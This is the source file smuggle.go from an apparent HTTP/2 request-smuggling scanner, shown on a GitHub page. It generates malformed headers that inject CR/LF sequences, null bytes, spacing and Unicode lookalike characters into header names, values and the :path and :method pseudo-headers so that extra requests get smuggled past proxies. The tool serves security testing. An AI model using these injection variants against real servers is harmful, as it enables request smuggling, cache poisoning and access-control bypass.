forked from neex/http2smugl
-
Notifications
You must be signed in to change notification settings - Fork 1
/
smuggle.go
232 lines (194 loc) · 6.15 KB
/
smuggle.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
package main
import (
"fmt"
"net/url"
"strings"
)
type SmugglingMethod int
const (
HeaderSmugglingNone SmugglingMethod = iota
HeaderSmugglingUnderscore
HeaderSmugglingSpacedHeader
HeaderSmugglingNewlineValue
HeaderSmugglingNewlineLongerValue
HeaderSmugglingNewlineName
HeaderSmugglingNewlinePath
HeaderSmugglingUnicodeCharacters
HeaderSmugglingNewlineMethod
)
var SmugglingMethods = []SmugglingMethod{
HeaderSmugglingNewlineValue,
//HeaderSmugglingNewlineLongerValue,
HeaderSmugglingNewlineName,
HeaderSmugglingNewlinePath,
HeaderSmugglingSpacedHeader,
//HeaderSmugglingUnderscore,
//HeaderSmugglingUnicodeCharacters,
//HeaderSmugglingNone,
HeaderSmugglingNewlineMethod,
}
type SmugglingVariant fmt.Stringer
func (s SmugglingMethod) Smuggle(h *Header, url *url.URL, variant SmugglingVariant) {
switch s {
case HeaderSmugglingNone:
// no action
case HeaderSmugglingUnderscore:
h.Name = strings.Replace(h.Name, "-", "_", -1)
case HeaderSmugglingSpacedHeader:
space := variant.(spacedHeaderParams)
h.Name += string(space)
case HeaderSmugglingNewlineValue:
v := variant.(*newlineHeaderParams)
h.Value = fmt.Sprintf("val%s%s: %s", v.Newline, h.Name, h.Value)
h.Name = v.Header
case HeaderSmugglingNewlineLongerValue:
v := variant.(*newlineHeaderParams)
pad := strings.Repeat("0", 10)
if strings.HasPrefix(h.Value, "-") {
h.Value = fmt.Sprintf("val%s%s: -%s%s", v.Newline, h.Name, pad, h.Value[1:])
} else {
h.Value = fmt.Sprintf("val%s%s: %s%s", v.Newline, h.Name, pad, h.Value)
}
h.Name = v.Header
case HeaderSmugglingNewlineName:
v := variant.(*newlineHeaderParams)
h.Name = fmt.Sprintf("%s%s%s", v.Header, v.Newline, h.Name)
case HeaderSmugglingNewlinePath:
v := string(variant.(newlinePathParams))
h.Value = fmt.Sprintf("%s HTTP/1.1%s%s: %s%sfake-header: ", url.Path, v, h.Name, h.Value, v)
h.Name = ":path"
case HeaderSmugglingNewlineMethod:
v := string(variant.(newlineMethodParams))
h.Value = fmt.Sprintf("METHOD / HTTP/1.1%s%s: %s%sfake-header: x", v, h.Name, h.Value, v)
h.Name = ":method"
case HeaderSmugglingUnicodeCharacters:
v := variant.(unicodeSmugglingParams)
switch v {
case ReplaceSLetterInName:
name := strings.Replace(h.Name, "s", "\u017f", 1)
if name == h.Name {
panic(fmt.Errorf("replacing letter S requested, but no S letter in name: %v", h.Name))
}
h.Name = name
case ReplaceKLetterInValue:
value := strings.Replace(h.Value, "k", "\u212a", 1)
if value == h.Value {
panic(fmt.Errorf("replacing letter K requested, but no K letter in value: %v", h.Value))
}
h.Value = value
default:
panic(fmt.Errorf("invalid header smuggling variant for UTF8 replace: %v", v))
}
default:
panic(fmt.Errorf("invalid header smuggling: %#v", s))
}
}
func (s SmugglingMethod) GetVariants() (variants []SmugglingVariant) {
newlines := []string{"\r\n", "\r", "\n", "\\x0d\\x0a"}
switch s {
case HeaderSmugglingNone, HeaderSmugglingUnderscore:
return []SmugglingVariant{noParams{}}
case HeaderSmugglingSpacedHeader:
for _, space := range []string{"\x00", " ", "\t", "\v", "\u0085", "\u00A0", "\U000130BA"} {
variants = append(variants, spacedHeaderParams(space))
}
return
case HeaderSmugglingNewlineName:
for _, nl := range newlines {
for _, h := range []string{"x", "x: x"} {
variants = append(variants, &newlineHeaderParams{nl, h})
}
}
return
case HeaderSmugglingNewlineValue:
for _, nl := range newlines {
for _, h := range []string{"header", " header", "x-forwarded-for"} {
variants = append(variants, &newlineHeaderParams{nl, h})
}
}
return
case HeaderSmugglingNewlineLongerValue:
for _, nl := range newlines {
//for _, h := range []string{"header", " header", "x-forwarded-for"} {
for _, h := range []string{"header"} {
variants = append(variants, &newlineHeaderParams{nl, h})
}
}
return
case HeaderSmugglingNewlinePath:
for _, nl := range newlines {
variants = append(variants, newlinePathParams(nl))
}
return
case HeaderSmugglingNewlineMethod:
for _, nl := range newlines {
variants = append(variants, newlineMethodParams(nl))
}
return
case HeaderSmugglingUnicodeCharacters:
return []SmugglingVariant{ReplaceKLetterInValue, ReplaceSLetterInName}
default:
panic(fmt.Errorf("invalid header smuggling: %#v", s))
}
}
func (s SmugglingMethod) String() string {
switch s {
case HeaderSmugglingNone:
return "no header smuggling"
case HeaderSmugglingUnderscore:
return "header smuggling via underscore"
case HeaderSmugglingSpacedHeader:
return "header smuggling via adding space"
case HeaderSmugglingNewlineValue:
return "header smuggling via newline in header value"
case HeaderSmugglingNewlineLongerValue:
return "header smuggling via newline in header value (longer)"
case HeaderSmugglingNewlineName:
return "header smuggling via newline in header name"
case HeaderSmugglingNewlinePath:
return "header smuggling via newline in header path"
case HeaderSmugglingUnicodeCharacters:
return "header smuggling via unicode lowercase/uppercase"
case HeaderSmugglingNewlineMethod:
return "header smuggling via newline in header method"
default:
return "unknown header smuggling method"
}
}
type noParams struct{}
func (noParams) String() string {
return "N/A"
}
type spacedHeaderParams string
func (p spacedHeaderParams) String() string {
return fmt.Sprintf("space=%#v", string(p))
}
type newlineHeaderParams struct {
Newline, Header string
}
func (p *newlineHeaderParams) String() string {
return fmt.Sprintf("newline=%#v fake_header=%s", p.Newline, p.Header)
}
type newlinePathParams string
type newlineMethodParams string
func (p newlinePathParams) String() string {
return fmt.Sprintf("newline=%#v", p)
}
func (p newlineMethodParams) String() string {
return fmt.Sprintf("newline=%#v", p)
}
type unicodeSmugglingParams int
const (
ReplaceKLetterInValue unicodeSmugglingParams = iota
ReplaceSLetterInName
)
func (p unicodeSmugglingParams) String() string {
switch p {
case ReplaceKLetterInValue:
return "replace k by K (\\u212a) in header value"
case ReplaceSLetterInName:
return "replace s by ſ (\\u017f) in header name"
default:
panic(fmt.Errorf("unknown utf8SmugglingParam: %v", p))
}
}